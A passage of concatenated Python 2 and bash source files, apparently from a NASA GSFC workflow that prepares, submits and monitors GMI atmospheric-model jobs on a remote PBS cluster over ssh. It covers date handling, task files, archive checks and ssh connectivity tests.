DESCRIPTION: # This routine simply creates a new file from the fileName #--------------------------------------------------------------------------- def touchNewFile (self, fileName): fileObject = open (fileName, 'w') fileObject.close () #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine will read the given file, determine the last date processed, # and increment the date and return it. #--------------------------------------------------------------------------- def getNextDateFromFile (self, fileName): if len (fileName) <= 0: return self.constants.INVALIDINPUT if not os.path.exists (fileName): return self.constants.NOSUCHFILE # read the last date processed in from file try: print "attempting to read: ", fileName, "\n" fileObject = open (fileName, 'r') fileContents = fileObject.read () fileObject.close () except: print "Error! returnCode is: ", returnCode, " after attempting to read ", fileName, "\n" return self.constants.READERROR fileLines = fileContents.splitlines() numberOfEntries = len (fileLines) lastDateProcessed = fileLines [numberOfEntries -1] nextDate = self.incrementDate (lastDateProcessed) return nextDate #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine simply returns the next day. #--------------------------------------------------------------------------- def incrementDate (self, theDate): # call external program to increment the date systemCommand = './incrdate ' + theDate + ' >& out.out' print systemCommand systemReturnCode = os.system (systemCommand) if systemReturnCode != 0: print "Error! returnCode is: ", systemReturnCode, " after attempting to use the incrdate program!", "\n" return self.constants.BADSYSTEMRETURNCODE # read the next day in from file try: fileObject = open ('out.out', 'r') fileContents = fileObject.read () fileObject.close () os.remove ('out.out') except: print "Error! returnCode is: ", returnCode, " after attempting to read out.out!", "\n" return self.constants.READERROR fileLines = fileContents.splitlines() nextDate = fileLines [0] return nextDate #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine fills tasks[0] with the default configuration for a # DAS task. #--------------------------------------------------------------------------- def getDefaultDasTaskConfiguration (self, fileName): if len (fileName) <= 0: return self.constants.INVALIDINPUT self.tasks.append (GmiMetFieldTask ()) # get the next day in the file self.tasks[0].firstDay = self.getNextDateFromFile (fileName) if len (self.tasks[0].firstDay) != GmiMetFieldTask.LENGHTOFEXPECTEDDATESTRING: print "There was an error getting the NextDateFromFile !\n" return self.constants.ERROR self.tasks[0].numberOfDays = 1 self.tasks[0].filePrefix = 'a_llk_04.' self.tasks[0].setDate (self.tasks[0].firstDay) self.tasks[0].sourcePath = self.constants.DEFAULTDASSOURCEPATH self.tasks[0].destinationPath = self.constants.DEFAULTDASDESTINATIONPATH return self.constants.NOERROR #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine expects an GmiAutomationTools object with at least one task # in it's task list. It will create more tasks if the numberOfDays to # process is greater than one. It will simple append tasks to the list # and increment each date by one day. #--------------------------------------------------------------------------- def createAdditionalTasks (self): if len (self.tasks) <= 0: return self.constants.INVALIDINPUT newTasks = [] for task in self.tasks: # make sure the task info is complete returnCode = task.verifyCompleteness () if returnCode != self.constants.NOERROR: return self.constants.INVALIDINPUT # add a new task # only add one, because the current # task will be the one that represents # the first day loopCounter = 1 print "number of days: ", task.numberOfDays, "\n" nextDate = task.firstDay while loopCounter < task.numberOfDays: # add a new blank task newTasks.append (GmiMetFieldTask ()) # set the values of the new task # to the old one newTasks [len(newTasks)-1].sourcePath = task.sourcePath newTasks [len(newTasks)-1].destinationPath = task.destinationPath newTasks [len(newTasks)-1].filePrefix = task.filePrefix # make each task just say one day newTasks [len(newTasks)-1].numberOfDays = 1 nextDate = self.incrementDate (nextDate) # then, change the date print "setting the date for this task to : ", nextDate, "\n" newTasks [len(newTasks)-1].setDate (nextDate) newTasks [len(newTasks)-1].firstDay = nextDate newTasks [len(newTasks)-1].sourcePath = task.sourcePath newTasks [len(newTasks)-1].destinationPath = task.destinationPath loopCounter = loopCounter + 1 # now that this task has been looked at, set it to 1 day task.numberOfDays = 1 # append new tasks to tasks list self.tasks.extend (newTasks) return self.constants.NOERROR #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This will verify that the task is complete, create a file, or just # append to it the task information. #--------------------------------------------------------------------------- def writeTaskToFile (self, task, fileName): if len (fileName) <= 0: return self.constants.INVALIDINPUT # make sure the task info is complete returnCode = task.verifyCompleteness () if returnCode != self.constants.NOERROR: return self.constants.INVALIDINPUT if not os.path.exists (fileName): self.touchNewFile (fileName) try: fileObject = open (fileName, 'a') toWrite = str (task.numberOfDays) + '\n' fileObject.write (toWrite) toWrite = str (task.firstDay) + '\n' fileObject.write (toWrite) fileObject.write (task.destinationPath + '\n') fileObject.write (task.sourcePath + '\n') fileObject.write (task.filePrefix + '\n') fileObject.close () except: print "There was an error appending to the file: ", fileName, "\n" return self.constants.WRITEERROR return self.constants.NOERROR #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine removes the last task from the file. #--------------------------------------------------------------------------- def removeTaskFromFile (self, fileName, task): if len (fileName) <= 0: return self.constants.INVALIDINPUT if not os.path.exists (fileName): return self.constants.NOSUCHFILE # make sure the task info is complete returnCode = task.verifyCompleteness () if returnCode != self.constants.NOERROR: return self.constants.INVALIDINPUT try: fileObject = open (fileName, 'r') fileContents = fileObject.read () fileObject.close except: return self.constants.READERROR fileLines = fileContents.splitlines() if len (fileLines) <= 0: return self.constants.NOERROR os.remove (fileName) newFileLines = [] lineCounter = 0 while lineCounter < len (fileLines): if fileLines [lineCounter] == task.firstDay: # pop the previous line, which belongs to this task if len (newFileLines) > 1: newFileLines.pop (lineCounter-1) else: newFileLines = [] # skip the next 3 lines, which belong to this task lineCounter = lineCounter + 3 else: newFileLines.append (fileLines [lineCounter]) lineCounter = lineCounter + 1 if len (newFileLines) <= 0: return self.constants.NOERROR try: fileObject = open (fileName, 'w') for line in newFileLines: fileObject.write (line + '\n') fileObject.close except: return self.constants.WRITEERROR return self.constants.NOERROR #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine removes duplicates from the tasks list. #--------------------------------------------------------------------------- def removeDuplicateTasks (self): # no tasks should not be an error # return because there is nothing to do if len (self.tasks) <= 1: return self.constants.NOERROR newTasks = [] loopCounter = 0 while loopCounter < len (self.tasks): foundDuplicateTask = False innerCounter = loopCounter + 1 while innerCounter < len (self.tasks): if self.tasks[loopCounter].numberOfDays == self.tasks[innerCounter].numberOfDays and \ self.tasks[loopCounter].firstDay == self.tasks[innerCounter].firstDay and \ self.tasks[loopCounter].destinationPath == self.tasks[innerCounter].destinationPath and \ self.tasks[loopCounter].sourcePath == self.tasks[innerCounter].sourcePath and \ self.tasks[loopCounter].filePrefix == self.tasks[innerCounter].filePrefix and \ self.tasks[loopCounter].year == self.tasks[innerCounter].year and \ self.tasks[loopCounter].month == self.tasks[innerCounter].month and \ self.tasks[loopCounter].day == self.tasks[innerCounter].day: foundDuplicateTask = True innerCounter = innerCounter + 1 if foundDuplicateTask == False: newTasks.append(self.tasks[loopCounter]) loopCounter = loopCounter + 1 self.tasks = newTasks return self.constants.NOERROR <file_sep>$NED_WORKING_DIR/$NED_UNIQUE_ID/bin/kill_job.bash > $NED_WORKING_DIR/$NED_UNIQUE_ID/log/kill_job.log /bin/chmod 755 $NED_WORKING_DIR/$NED_UNIQUE_ID/log/kill_job.log <file_sep>#!/bin/bash export accountingFile=/Users/mdamon/.accounting <file_sep>#!/bin/bash -xv echo "--------------------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "--------------------------------------" echo "" # Get variables from env files . $NED_WORKING_DIR/.exp_env.bash export ENV_FILE=$NED_WORKING_DIR"."$MACH"_env.bash" . $ENV_FILE echo "--------------------------------------" echo "ENV_FILE: $ENV_FILE" echo "--------------------------------------" echo "" MODEL_LOG_DIR=$EXP_DIR/log echo "--------------------------------------" echo "MODEL LOG FILE: $MODEL_LOG_DIR/$EXP_ID.log" echo "--------------------------------------" echo "" if [ "$jobID" = "" ]; then echo "There are no active jobs to kill!" exit -1 fi echo "Attempting to kill the job id: $jobID" echo "ssh $NED_USER@$MACH $QDEL $jobID" ssh $NED_USER@$MACH $QDEL $jobID if [ "$?" != "0" ]; then echo "Could not kill the job id: $jobID" exit -1 else echo "Successfully killed the job: $jobID" fi <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" export archiveDirectory=$ARCHIVE_DIR/$YEAR echo "----------------------------" echo "Checking files in : $archiveDirectory" echo "------------------------" echo "" export diagDirectory=$archiveDirectory/diagnostics export stationDirectory=$archiveDirectory/stations echo "ssh $NED_USER@$MACH ls $diagDirectory/*$YEAR*nc | wc -l" #numArchiveDiagFiles=`ssh $NED_USER@$MACH ls $diagDirectory/*$YEAR*nc` numArchiveDiagFiles=`ssh $NED_USER@$MACH find $diagDirectory -type f -print0 | tr -dc '\0' | wc -c` echo $numArchiveDiagFiles echo "check with: $numDiagFiles" echo "ssh $NED_USER@$MACH ls $stationDirectory/*$YEAR*nc | wc -l" #numArchiveStationFiles=`ssh $NED_USER@$MACH ls $stationDirectory/*$YEAR*nc` numArchiveStationFiles=`ssh $NED_USER@$MACH find $stationDirectory -type f -print0 | tr -dc '\0' | wc -c` echo $numArchiveStationFiles echo "check with: $numStationFiles" echo "ssh $NED_USER@$MACH ls $archiveDirectory/*$YEAR*nc | wc -l" numArchiveDirectoryFiles=`ssh $NED_USER@$MACH ls $archiveDirectory/*$YEAR*nc | wc -l` echo $numArchiveDirectoryFiles echo "check with: $numNetcdfFiles" echo "Success. Exiting" exit 0 <file_sep>#!/bin/bash echo "Monitoring GMI segments" echo ". $NED_WORKING_DIR/.exp_env.bash" . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE . $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ReturnMonth.bash if [ "$CURRENT_DATE" == "" ]; then echo "First month in experiment is: $CURRENT_DATE" export CURRENT_DATE=$START_DATE else CURRENT_DATE=`$NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/IncrementMonth.py -d $CURRENT_DATE` fi echo "export CURRENT_DATE=$CURRENT_DATE" >> $NED_WORKING_DIR/.exp_env.bash echo "Current date: ", $CURRENT_DATE export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi jobIdVarName=$currentMonth$currentYear"JobID" jobId=${!jobIdVarName} if [ "$jobId" == "" ]; then echo "ERROR: The $currentMonth job submission failed" exit -1 fi echo "The $currentMonth $currentYear job id is: $jobId" #-------------------------------------------------------------------------- # Watch the status of the, but be careful not to exit prematurely #--------------------------------------------------------------------------- export status="" let numberOfEmpty=0 export jobId=$jobId #let maxSeconds=432000 let maxSeconds=$MAX_MONITORING_SECONDS let numSeconds=0 #let sleepTime=45 let sleepTime=$SLEEP_SECONDS echo -e "\nmaxSeconds: $maxSeconds" echo "numSeconds: $numSeconds" while [ $numSeconds -lt $maxSeconds ]; do echo -e "\nssh $NED_USER@$MACH $QSTAT | grep ${jobId}" export status=`ssh $NED_USER@$MACH $QSTAT | grep ${jobId} | awk '{print $5}'` echo "Status is: $status" echo -e "\Sleeping for $sleepTime seconds" sleep $sleepTime let numSeconds=numSeconds+sleepTime echo -e "\nseconds so far: $numSeconds" if [ "$status" = "R" ]; then echo -e "\nscp $NED_USER@$MACH:$WORK_DIR/stdout.log $NED_WORKING_DIR/$NED_UNIQUE_ID/log" scp $NED_USER@$MACH:$WORK_DIR/stdout.log $NED_WORKING_DIR/$NED_UNIQUE_ID/log echo -e "\nchmod 755 $NED_WORKING_DIR/$NED_UNIQUE_ID/log/stdout.log; tail -n 50 $NED_WORKING_DIR/$NED_UNIQUE_ID/log/stdout.log" export latestOutput=`chmod 755 $NED_WORKING_DIR/$NED_UNIQUE_ID/log/stdout.log; tail -n 50 $NED_WORKING_DIR/$NED_UNIQUE_ID/log/stdout.log` echo -e "Latest output: ", $latestOutput fi #-------------------------------------------------------------------------- # the job may be done; needs further investigating #--------------------------------------------------------------------------- if [ "$status" = "" ]; then counter=0 numberOfEmpty=0 #--------------------------------------------------------------------------- # keeps checking the batch system in case of a false negative #-------------------------------------------------------------------------- while [ $counter -lt 5 ]; do sleep $sleepTime echo -e "\nssh $NED_USER@$MACH $QSTAT | grep ${jobId}" status=`ssh $NED_USER@$MACH $QSTAT | grep ${jobId}` if [ "$status" = "" ]; then let numberOfEmpty=numberOfEmpty+1 echo "Job status is empty ($numberOfEmpty)" fi let counter=counter+1 done #--------------------------------------------------------------------------- # exit when satified that the job has finished #-------------------------------------------------------------------------- if [ $numberOfEmpty -gt 4 ]; then echo -e "\nThe empty job status has been satisfied" break fi fi done sleep $sleepTime #--------------------------------------------------------------------------- # check standard output/error file #-------------------------------------------------------------------------- export standardOutFile="gmi*.e$jobId" successKeyWord="Successful completion of the run" keyWordLength=${#successKeyWord} if [ $numberOfEmpty -gt 4 ] && [ "$status" = "" ]; then echo "Attempting to get standard out/error file" echo "$SSH_PATH $NED_USER@$MACH tail -n 100 $WORK_DIR/$standardOutFile | grep \"${successKeyWord}\"" outputCheck=`$SSH_PATH $NED_USER@$MACH tail -n 100 $WORK_DIR/$standardOutFile | grep "${successKeyWord}"` if [ "$?" != "0" ]; then echo "ERROR: Output check did not pass" echo "RETURNED: $outputCheck" exit -1 else echo "$CURRENT_DATE completed successfully in GMI workflow" fi fi echo "GMI $EXP_NAME $currentYear $currentMonth segment appears to have finished successfully" echo "---------------------------------------------------------------------" exit 0 <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "Current date: " $CURRENT_DATE . $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ReturnMonth.bash export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi echo "----------------------------" echo "Copying stations to $STN_WORK_DIR $currentMonth" echo "------------------------" echo "" echo "ssh $NED_USER@$MACH cp $ARCHIVE_DIR/$currentYear/stations/*$EXP_NAME*$currentYear*$currentMonth*profile.nc $STN_WORK_DIR" ssh $NED_USER@$MACH cp $ARCHIVE_DIR/$currentYear/stations/*$EXP_NAME*$currentYear*$currentMonth*profile.nc $STN_WORK_DIR export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem copying the $currentYear $currentMonth files to $STN_WORK_DIR" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi echo "----------------------------" exit 0 <file_sep>echo "Fake submissions script" #CURRENT_PATH=$(dirname $(readlink -f $0)) CURRENT_PATH=$(dirname $0) echo $CURRENT_PATH chmod -R +x $CURRENT_PATH/* <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: June 8th, 2007 # # DESCRIPTION: # This script will create a PBS script based on a template. # # Execute this script by typing : # python # # NOTE: # # ** As input this script excepts a FULL PATH to a run directory; DO NOT # use unix/linux variables such as $HOME or relative paths. # Modification History #------------------------------------------------------------------------------ __author__ = '<NAME>' __version__ = '0.0' __date__ = '2008/24/4' import getopt import sys import os import re import string import time import commands from GmiProduction import GmiProduction NUM_ARGS=14 def usage (): print "Usage: MakeQueueScript.py [-f][-n][-e][-m][-p][-c][-a][-d][-w][-s][-u][-o][-q]" print "-f Full path to queue script template" print "-n Number of processes" print "-e Number of processors per node" print "-m Name of namelist file" print "-p Run directory" print "-c Charge code" print "-a Chemical mechanism" print "-d Destination directory" print "-w Wall time" print "-s scali (true/false)" print "-u Use Fortran namelist? (T/F)" print "-i Add -d option to run script?" print "-o Job ID that needs to complete before job can run" print "-q queue name" sys.exit (0) #--------------------------------------------------------------- # Get options from command line #--------------------------------------------------------------- optList, argList = getopt.getopt(sys.argv[1:],'f:n:e:m:p:c:a:d:w:s:u:i:o:q:') if len (optList) != NUM_ARGS: usage () productionObject = GmiProduction () productionObject.nameListName = optList[3][1] productionObject.runDirectory = optList[4][1] productionObject.fillInYearAndMonth productionObject.scali = optList[9][1] productionObject.queueName = optList[13][1] print "Scali = ",optList[9][1] print "queue: ", productionObject.queueName splitString = string.split(productionObject.nameListName, "_") print "split string: ", splitString productionObject.year = string.strip (splitString[2]) if not productionObject.year.isdigit(): print "ERROR: The year is not all digits!" sys.exit(-1) productionObject.month = string.strip (splitString[3]) print "The job to archive is: ", productionObject.month, " ", productionObject.year if productionObject.nameListName == "gmiWork.in": productionObject.storageDirectory = os.environ.get('ARCHIVE_DIR') productionObject.archiveSystem = "dirac" print "Number of processors per node: ", optList[2] if optList[12][1] == "0000": lastJobId = None else: lastJobId = optList[12][1] print "last job id: ", lastJobId productionObject.modifyQueueFile (optList[0][1], optList[1][1], optList[2][1], \ optList[5][1], optList[6][1], optList[7][1], \ optList[8][1], optList[11][1], lastJobId) <file_sep>#!/bin/bash export SCP_PATH="/usr/bin/scp" export SSH_PATH="/usr/bin/ssh" export MV_PATH="/bin/mv" export PYTHON_PATH="/usr/local/bin/python" export CHMOD_PATH="/bin/chmod" export ENV_PATH="/usr/bin/env" export SED_PATH="/usr/bin/sed" <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # NASA/GSFC, Software Integration & Visualization Office, Code 610.3 #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: November 7th 2006 # # DESCRIPTION: # This class contains the information for a MetField regridding task. #------------------------------------------------------------------------------ from GmiAutomationConstants import GmiAutomationConstants class GmiMetFieldTask: LENGHTOFEXPECTEDDATESTRING = 8 #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Constructor routine. #--------------------------------------------------------------------------- def __init__(self): self.numberOfDays = 0 self.firstDay = 0 self.destinationPath = '' self.sourcePath = '' self.filePrefix = '' self.year = '' self.month = '' self.day = '' self.constants = GmiAutomationConstants () #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine verifies that all necessary task fields have been defined. #--------------------------------------------------------------------------- def verifyCompleteness (self): if self.numberOfDays == 0: return self.constants.INCOMPLETEDATA if self.firstDay == 0: return self.constants.INCOMPLETEDATA if len (self.destinationPath) == 0: return self.constants.INCOMPLETEDATA if len (self.sourcePath) == 0: return self.constants.INCOMPLETEDATA if len (self.filePrefix) == 0: return self.constants.INCOMPLETEDATA if len (self.year) != 4: return self.constants.INCOMPLETEDATA if len (self.month) != 2: return self.constants.INCOMPLETEDATA if len (self.day) != 2: return self.constants.INCOMPLETEDATA return self.constants.NOERROR #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Destructor routine. #--------------------------------------------------------------------------- def __del__(self): pass #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine sets the year, month and day variables in the class instance # to respective values in the date string passed in # the formation of the date string is expected to be in : YYYYMMDD #--------------------------------------------------------------------------- def setDate (self, theDate): if len (theDate) < GmiMetFieldTask.LENGHTOFEXPECTEDDATESTRING: return GmiMetFieldTask.constants.INVALIDINPUT self.year = theDate [0:4] self.month = theDate [4:6] self.day = theDate [6:8] return GmiMetFieldTask.constants.NOERROR #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine adds the a path the corresponds to the date to the basePath # if no year, month, or day information is present in the self object # this routines raises an exception #--------------------------------------------------------------------------- def addDatePathToBasePath (self, basePath): if len (self.year) != 4 or len (self.month) != 2 or len (self.day) != 2: raise self.constants.INVALIDINPUT returnPath = '/Y' + self.year + '/M' + self.month + '/D' + self.day return returnPath <file_sep>#!/bin/bash . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" expectedReturn="discover" if [ "$MACH" == "localhost" ]; then expectedReturn="NONE" fi echo "Checking for password-less ssh to $MACH" hostNameLength=${#expectedReturn} echo "ssh $REMOTE_USER@$MACH hostname" sshOutput=`ssh $REMOTE_USER@$MACH hostname` if [ "$?" != "0" ]; then echo "There may be an account problem on $MACH" echo "Check your .ssh settings for $MACH" exit -1 fi if [ "${sshOutput:0:$hostNameLength}" != "$expectedReturn" ]; then echo "ssh output: $sshOutput" echo "expected: $expectedReturn" echo "There may be an account problem on $MACH" echo "Check your .ssh/authorized_keys file" exit -1 else echo "ssh output: $sshOutput" fi echo "$MACH ssh password-less check passed" echo "------------------------" exit 0 <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "----------------------------" echo "Create archive structure in: $WORK_DIR" echo "------------------------" echo "" export metDirectory=$WORK_DIR/completed/metdata_files export diagDirectory=$WORK_DIR/completed/$YEAR/diagnostics export runDirectory=$WORK_DIR/completed/$YEAR/run_info export stationDirectory=$WORK_DIR/completed/$YEAR/stations directories=( $metDirectory $diagDirectory $runDirectory $stationDirectory ) for directory in "${directories[@]}" do echo "ssh $NED_USER@$MACH ls $directory/" ssh $NED_USER@$MACH ls $directory/ export outputCode=$? echo $directory echo "exists? $outputCode" if [ "$outputCode" == "0" ]; then echo "$directory exists" elif [ "$outputCode" == "2" ] || [ "$outputCode" == "1" ]; then echo "ssh $NED_USER@$MACH mkdir -p $directory" ssh $NED_USER@$MACH mkdir -p $directory else echo "Don't understand this code: $outputCode" exit -1 fi done echo "Success. Exiting" exit 0 <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # NASA/GSFC, Software Integration & Visualization Office, Code 610.3 #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: May 8 2008 # # DESCRIPTION: # This class provides routine for connecting to remote systems. #------------------------------------------------------------------------------ import os import sys import string import subprocess class RemoteSystemTools: BAD_INPUT = -1 SCP_ERROR = -2 SSH_ERROR = -3 IO_ERROR = -4 SSH_SUCCESS = 0 #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Constructor routine. #--------------------------------------------------------------------------- def __init__(self): pass #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Destructor routine #--------------------------------------------------------------------------- def __del__(self): pass #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Will copy the local file to a remote server and attempt to execute it. #--------------------------------------------------------------------------- def copyLocalFileAndExecute (self, scriptFile, scriptPath, userName, remoteSys, remotePath): if not os.path.exists(scriptPath + "/" + scriptFile) or len(userName) <= 0 \ or len(remoteSys) <= 0: raise self.BAD_INPUT status = os.system ("scp " + scriptPath + "/" + scriptFile + " " + userName + "@" + \ remoteSys + ":" + remotePath) if status != 0: raise self.SCP_ERROR systemCommand = "ssh " + userName + "@" + remoteSys + " chmod 700 " + \ remotePath + scriptFile status = os.system (systemCommand) if status != 0: raise self.SSH_ERROR systemCommand = "ssh " + userName + "@" + remoteSys + " ./" + \ remotePath + "/" + scriptFile status = os.system (systemCommand) if status != 0: raise self.SSH_ERROR systemCommand = "ssh " + userName + "@" + remoteSys + " rm " + \ remotePath + scriptFile status = os.system (systemCommand) if status != 0: raise self.SSH_ERROR #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine will submit a remote pbs file to a remote pbs system. # The returned job ID and realUser name will be recorded in the # accountingFile. #--------------------------------------------------------------------------- def submitJobAndRecord (self, remoteWorkingDir, remotePbsFile, qsubCommand, \ accountingFile, nedUser, realUser, \ workflowEnvFile, remoteSystem): # check that files exist if not os.path.exists (accountingFile) or \ not os.path.exists (workflowEnvFile): raise BAD_INPUT # construct ssh command to submit the job to pbs systemCommand = "ssh " + nedUser + "@" + remoteSystem + " 'cd " + \ remoteWorkingDir + ";" + qsubCommand + " " + remotePbsFile + "'" print systemCommand # start a process to submit the job to pbs # and collection the process output #subProcess = os.popen(systemCommand) subProcess = subprocess.Popen(systemCommand, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) cmdOut, cmdErr = subProcess.communicate() # stdout has some junk chars before the jobId, so just split out the last word jobString = cmdOut.split()[-1] print "job id: ", jobString #processOutput = subProcess.read() #closeReturn = subProcess.close () #if closeReturn != None: if subProcess.returncode != 0: raise SSH_ERROR #wkEnvFileHandle = open (workflowEnvFile, 'a') #wkEnvFileHandle.write ('#deBug*** qsub cmdOut: ' + cmdOut + '\n') #wkEnvFileHandle.write ('#deBug*** qsub jobString: ' + jobString + '\n') #wkEnvFileHandle.write ('#deBug*** qsub cmdErr: ' + cmdErr + '\n') #wkEnvFileHandle.write ('#deBug*** systemCommand: ' + systemCommand + '\n') #wkEnvFileHandle.write ('#deBug*** processOutput: ' + processOutput + '\n') #wkEnvFileHandle.close () # create an entry for accounting #jobId = string.strip(processOutput) jobId = string.strip(jobString) newEntry = jobId + ", " + realUser + "\n" # add job id to workflow env file print "Trying to write new job id to file.." try: print "In try" wkEnvFileHandle = open (workflowEnvFile, 'a') wkEnvFileHandle.write ('#Model segment job ID\n') newJobId = jobId.replace ('.pbsa1', '') wkEnvFileHandle.write ('export jobID=' + newJobId + '\n') wkEnvFileHandle.close () except: raise IO_ERROR # if ned user and the real user are not the same, # do the accounting if nedUser != realUser: print "nedUser: ", nedUser print "realUser: ", realUser try: accFileHandle = open (accountingFile, 'a') accFileHandle.write (newEntry) accFileHandle.close () except: raise IO_ERROR return jobId <file_sep>#!/bin/bash . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE . $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ReturnMonth.bash echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "------------------------" echo "CURRENT_DATE = $CURRENT_DATE" export METFIELD_DIR=$GMI_DIR/input/run_info/metfile_lists/$MET_TYPE/$RESOLUTION/ export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} echo "METFIELD_DIR = $METFIELD_DIR" echo "------------------------" export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi echo "------------------------" echo "Current year: $currentYear" echo "Current month: $currentMonth" echo "------------------------" echo "------------------------" export METFIELD_FILE=$METFIELD_DIR/$currentMonth$currentYear".list" $SSH_PATH $REMOTE_USER@$MACH $CP $METFIELD_FILE $WORK_DIR if [ "$?" != "0" ]; then echo "There was a problem updating the metfield file: $METFIELD_FILE" echo "------------------------" exit -1 fi echo "------------------------" exit 0 <file_sep>#!/bin/bash -xv . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "------------------------" if [ "$MACH" == "discover" ]; then expectedReturn="discover" elif [ "$MACH" == "localhost" ]; then expectedReturn="NONE" else echo "$MACH not yet supported." exit -1 fi echo "Checking for password-less ssh to $MACH" hostNameLength=${#expectedReturn} sshOutput=`ssh $NED_USER@$MACH hostname` if [ "$?" != "0" ]; then echo "There may be an account problem on $MACH" echo "Check your .ssh settings for $MACH" exit -1 fi if [ "$MACH" == "discover" ]; then if [ "${sshOutput:0:$hostNameLength}" != "$expectedReturn" ]; then echo "ssh output: $sshOutput" echo "expected: $expectedReturn" echo "There may be an account problem on $MACH" echo "Check your .ssh/authorized_keys file" exit -1 else echo "ssh output: $sshOutput" fi fi echo "$MACH ssh password-less check passed" echo "------------------------" exit 0 <file_sep>#!/usr/local/bin/bash export CP=/bin/cp export TOUCH=/usr/bin/touch export QSUB=/pbs/bin/qsub export QSTAT=/pbs/bin/qstat export MKDIR=/bin/mkdir <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: October 10th, 2013 # # DESCRIPTION: # This script look at a file on a remote system and determine # the date of the most recent model time step # # Execute this script by typing : # python DetermineModelTimeStep.py -f stdout file -u user name -m remote system name -s search string # # NOTE: # # ** As input this script excepts a FULL PATH to a run directory; DO NOT # use unix/linux variables such as $HOME or relative paths. # Modification History #------------------------------------------------------------------------------ __author__ = '<NAME>' __version__ = '0.0' __date__ = '2013/3/10' # starting from the bottom, #loop each line until one that has characters and isn't all whitespace is found def getLastLinefromCmd(len, cmdOut): cmdOutSplit = cmdOut.split("\n") lastLine = None for line in cmdOutSplit: if (len(line) != 0 and not line.isspace()): lastLine = line return lastLine def determineIfYearIsComplete(endDateYearMonth, lastYearMonth): #secondToLastYearMonth, secondToLastMonth, secondToLastDay, numDaysInMonth): yearComplete = False print "endDateYearMonth: ", endDateYearMonth print "lastYearMonth: :", lastYearMonth #print 